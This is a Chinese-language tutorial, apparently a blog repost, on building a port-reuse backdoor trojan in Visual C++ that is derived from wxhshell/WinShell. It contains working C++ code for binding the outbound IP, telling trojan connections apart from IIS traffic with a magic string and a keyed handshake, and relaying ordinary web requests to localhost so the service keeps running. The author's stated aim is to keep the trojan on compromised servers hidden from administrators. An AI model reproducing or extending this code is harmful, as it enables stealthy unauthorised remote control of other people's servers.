1. 程式人生 > >VC實現埠複用木馬

VC實現埠複用木馬

其實想實現埠利用很簡單,先建立一個Socket之後,用Setsockopt設定Socket的SO_REUSEADDR屬性就可以了。當然要防止別人複用你的埠也很容易,用SetEXCLUSIVEADDRUSE就可以獨佔埠地址了。
       我在開始編寫前下載一個wxhshell,它是加上商品複用功能的Winshell。我自己試一了一下它的功能,發現它在WinXp+SP2+IIS5.1 下可以成功,在Windows 2003+ IIS 6.0 下沒有成功。而在Windows Xp下正常工作時,IIS就不能正常工作了,這要是放在肉雞上,別人的網頁都訪問不了了,那管理員就會輕易發現問題。因此這篇文章的重點就在這裡——正確區分木馬訪問和正常的IIS訪問,然後再分別加以處理。
       設計思路,先獲取本機連線外網的最佳IP,繫結此IP後,把127.0.0.1留給原服務,因為是TCP連線,所以只在連線起初判斷就行了,就在開始通訊前接收連線方的一段定長的字串,初始判斷是否是使用木馬訪問,如果初步判斷是的話,再進行二路握手,不是則開啟新執行緒進行客戶到本地服務的的資料交換,如果二路握手成功,則開啟木馬功能,不成功就斷開此連線。
      需求,需要專門的客戶端進行連線,這裡用我們上次寫的cmdshell客戶端來改造,思路比木馬的要簡單,連線後進行判斷,如果對方不是自己的木馬則退出。
     木馬適用環境,任何對外開放了服務且可埠複用的伺服器,如果有防火牆的話,就要用到遠執行緒注入(這裡不做討論)

建議準備編寫或者正在編寫一些工具的朋友,像這樣把每個模組分開設計,地整個程式的效率可能會有提高哦。下面我們就從繫結外網IP開始吧!
      1 繫結IP用VC程式設計實現的話,第一步肯定是獲取本機IP了,這個網上的可用程式碼不少,不過,要是獲取最佳IP,又該如何實現呢?具體程式碼如下:

#define DEFAULT_DESTINATION "202.115.32.145"
DWORD GetBestIp()        //獲得本機最好的IP地址
{
    PMIB_IPADDRTABLE    pAddrTable(NULL);
    PMIB_IPADDRROW      pAddrRow(NULL);
    ULONG                ulSize(0);
    DWORD                ret = INVALID_ADDRESS;
    char *              pBuffer = NULL;
    DWORD                dwBestIndex = INVALID_ADDRESS;
    //獲得最佳IP介面的索引
    DWORD                dwResult = GetBestInterface(inet_addr(DEFAULT_DESTINATION), &dwBestIndex);
    
    if ( dwResult != NO_ERROR ) 
    {    //有錯誤,返回不可用地址
        return INVALID_ADDRESS;
    }
    //獲得本機所有的IP列表
    GetIpAddrTable((PMIB_IPADDRTABLE)(char *)pBuffer, &ulSize, TRUE);
    
    pBuffer = new char[ulSize];    
    
    dwResult = GetIpAddrTable((PMIB_IPADDRTABLE)(char *)pBuffer, &ulSize, TRUE);
    if ( dwResult == NO_ERROR )
    {
        pAddrTable = (PMIB_IPADDRTABLE)(char *) pBuffer;
        
        for (DWORD x = 0; x < pAddrTable->dwNumEntries; x++)
        {
            pAddrRow = (PMIB_IPADDRROW) &(pAddrTable->table[x]);
            //如果和最佳索引相等,則返回其地址
            if ( pAddrRow->dwIndex == dwBestIndex )
            {
                ret = pAddrRow->dwAddr;
                delete [] pBuffer;
                return ret;
            }
        }
    }
    delete [] pBuffer;
    return INVALID_ADDRESS;
}


我們這段程式碼就可以獲取連線外網的最佳IP地址。首先確定一個本機要連線的DEFAULT_DESTINATION,這裡只要定義一個合法的外網IP就可以了,再通過GetBestInterface 獲得最佳IP地址主可以了。
      2 獲取外網IP。由於外部的客戶連線到指定埠時,就會自動連線到我們的木馬上來,因此接下來就是最重要的一步——判斷是否為木馬請求。具體程式碼如下:

#define OWN_SIGN     "scuclark\n" //自身木馬標誌
// 客戶端控制代碼模組
int Wxhshell(SOCKET wsl)
{
    SOCKET wsh;
    struct sockaddr_in client;
    DWORD myID;
    int count;
    char cmd[5];

    while(nUser<MAX_USER)
    {
        char myFlag[32];
        ThreadInfo threadInfo;
        int nSize=sizeof(client);
        //等待連線
        wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
        if(wsh==INVALID_SOCKET) return 1;
        //以'\n'為終止符接收客戶傳送的驗證字串
        count=0;
        while(count<32)
        { 
            if(recv(wsh,cmd,1,0)==SOCKET_ERROR)
            {
                closesocket(wsh); 
                return FALSE;
            }
            myFlag[count]=cmd[0]; 
            if(cmd[0]==0x0a) 
            { 
                myFlag[count]='\n'; 
                myFlag[++count]=0;
                break; 
            } 
            count++; 
        } 
        //初步判斷是否為木馬請求
        if (strncmp(myFlag,OWN_SIGN,strlen(OWN_SIGN))!=0)
        {
            u_long loopIP=inet_addr("127.0.0.1");
            SOCKET loopback=Make_Connection(loopIP,80,120);
            if (loopback<0)
            {
                closesocket(wsh);
                continue;
            }
            //為新執行緒複製引數建立事件
            ownevent = CreateEvent(NULL,FALSE,FALSE,NULL);
            send(loopback,myFlag,count,0);
            
            threadInfo.rawSock=loopback;
            threadInfo.tcpSock=wsh;
            
            CreateThread(0, 0, doReTranToHost, &threadInfo, 0, &myID);
            //等待新執行緒複製完引數再繼續向下執行
            if(WaitForSingleObject(ownevent,INFINITE)==WAIT_FAILED)
            {
                continue;
            }
            CloseHandle(ownevent);
            continue;            
        }
        //初步判斷是木馬請求,再執行二路握手,失敗則關閉連線
        if(connestab(wsh)==FALSE){closesocket(wsh);continue;}
        //握手成功,開啟木馬功能執行執行緒
        handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
        if(handles[nUser]==0)
            closesocket(wsh);
        else
            nUser++;
    }
    WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
    
    return 0;
}


       這是經過我修改後的客戶端控制代碼模組,if(strncmp(myFlag,OWN_SIGN,sizeof(OWN_SIGN))!-0)用來初步判斷客戶是不是木馬請求,起初我是讓對本地服務的請求誤轉到木馬執行模組裡面,所以就加了後面的二路握手。加上之後對程式的效率沒有什麼影響,只是為了防止巧合的發生。if(connestab(wsh)==FALSE{closesocket(wsh);contine;}這句是在初步判斷之後和客戶間的二路握手,如果成功就可以執行木馬模組了,不成功就很乾脆地關閉連線。
      下面就是木馬裡面的connestab()函式

#define OWN_KEY        346//金鑰
//自定義握手協議結構體
typedef struct conninfo 
{
    int go;
    int come;
    char a;
} * Pconninfo;
//二路握手協議
BOOL connestab(SOCKET client)
{
    char buf[256],cmd[5];
    int count;
    conninfo info;
    Pconninfo infop=&info;
    info.a='\n';
    int a=(int)infop;
    info.come=68;
    info.go=AverageRandom(100000,999999);
    //傳送第一路木馬協議
    send(client,(char *)infop,sizeof(info)-3,NULL);
    //接收對方迴應的協議
    count=0;
    while(count<256)
        { 
            if(recv(client,cmd,1,0)==SOCKET_ERROR)
            {
                closesocket(client); 
                return FALSE;
            }
            buf[count]=cmd[0]; 
            if(cmd[0]==0xa || cmd[0]==0xd) 
            { 
                buf[count]=0; 
                break; 
            } 
            count++; 
        } 
    //驗證對方是否為可信使用者
    if( ((Pconninfo)buf)->come!=info.go%OWN_KEY)return FALSE;
    info.come=((Pconninfo)buf)->go%OWN_KEY;
    info.go='o'+'k';
    infop=&info;
    //驗證成功,傳送第二路木馬協議,如果對方驗證成功,則整個握手過程成功完成
    send(client,(char *)infop,sizeof(info)-3,NULL);
    return TRUE;
}


       其中,OWN_KEY為自定義的金鑰,如果客戶端和木馬端的金鑰不同,握手就不會成功Conninfo為自定義的木馬協議結構體,很簡單,char a是作為協議單元的結束符,send(client,(char *)infop,sizeof(info)-3,NULL),在這裡面sizeof(info)-3是因為VC編譯時資料是以4位元組來進行資料結構對齊的,而char只有一位元組,所以sizeof(info)返回的是12,通過再減3就可以得到真實大小了。
       握手過程在註釋裡我已經寫得很清楚了,第一路是傳送自己的識別符號68和隨機產生的一個整數A1,然後接收客戶端的迴應,迴應裡面有個整數是隨機數A1對客戶端金鑰求模的結果,還有客戶端產生的隨機數B2,木馬端再驗證B1和A1對自己金鑰求模得出的結果是否一致,如果一樣,則說明一路握手成功,然後進行第二路握手,這時用B2對自己的金鑰求模,放到A2a裡面,最後把A2a的A2b一起發到客戶端,如果對方沒有關閉連線,則說明二路握手成功。
      3 驗證完畢,接下來就是執行木馬功能或者進行資料收發了,木馬功能還是WinShell的木馬功能,網上解釋這個文章太多了,大家自己查詢閱讀一下即可。資料轉發模組是我自己寫的,也就是我上篇文章的介紹的select模型。程式碼和cmdshell客戶端的資料交換程式碼大同小異,下面是其原始碼:

DWORD WINAPI readwrite(SOCKET tr,SOCKET tc)
{
    char bufc[40960],bufr[40960];
    char* recvbufpc;
    char* recvbufpr;
    long recvr,recvc;
    FD_SET ding,ding1;
    int err,ret;
    SOCKET clientr=tr,clientc=tc;
    //告訴主執行緒引數複製完畢
    SetEvent(ownevent);
    recvr=recvc=0;
    struct timeval TimeOut; 
    TimeOut.tv_sec=0; 
    TimeOut.tv_usec=1000; 
    FD_ZERO(&ding); 
    FD_ZERO(&ding1);
    FD_SET(clientc,&ding);
    FD_SET(clientr,&ding);
    
    while (FD_ISSET(clientc,&ding) && FD_ISSET(clientr,&ding) ) 
    {
        //賦初始值
        ding1=ding;
        
        //超時或錯誤
        int Er=select(16, &ding1, 0, 0, &TimeOut);
        if( (Er==SOCKET_ERROR))
        {
            FD_CLR(clientc,&ding1);
            FD_CLR (clientc, &ding);
        }
        if( FD_ISSET(clientc,&ding1))
        {
            ret=recv(clientc, bufc, sizeof(bufc), 0);
            if(ret == SOCKET_ERROR || ret==0 || ret == WSAECONNRESET)
            {
                FD_ZERO (&ding);
            }        //可讀但已經關閉連線
            else
            {
                recvc=ret;
                bufc[ret] = '\0';
                recvbufpc= bufc;
            }
        }
        if( FD_ISSET(clientr,&ding1))
        {
            ret=recv(clientr, bufr, sizeof(bufr), 0);
            if(ret == SOCKET_ERROR || ret==0 || ret == WSAECONNRESET)
            {
                FD_ZERO (&ding);
            }        //可讀但已經關閉連線
            else
            {
                recvr=ret;
                bufr[ret] = '\0';
                recvbufpr= bufr;
            }
        }
print:
        if(recvr)
        {    
            ret=send(clientc,recvbufpr,recvr,0);
            if(ret>0)
            {
                recvbufpr+=ret;
                recvr-=ret;
            }
            else
            {
                err=WSAGetLastError();
                if(err!=WSAETIMEDOUT)
                {
                    FD_ZERO (&ding);
                    recvr=0;
                }
            }
        }
        
        if(recvc)
        {
            ret=send(clientr,recvbufpc,recvc,0);
            if(ret>0)
            {
                recvbufpc+=ret;
                recvc-=ret;
            }
            else
            {                
                err=WSAGetLastError();
                if(err!=WSAETIMEDOUT)
                {
                    FD_ZERO (&ding);
                    recvc=0;
                }
            }
        }
        Sleep(1);
        if(recvr || recvc )goto print;
    }
    closesocket(clientr); 
    closesocket(clientc);
    return 1;
}


       這裡客戶端還需要一個握手的函式,其實質和木馬裡面的差不多,我就不單獨拿出來講了,大家自己琢磨一下即可明白。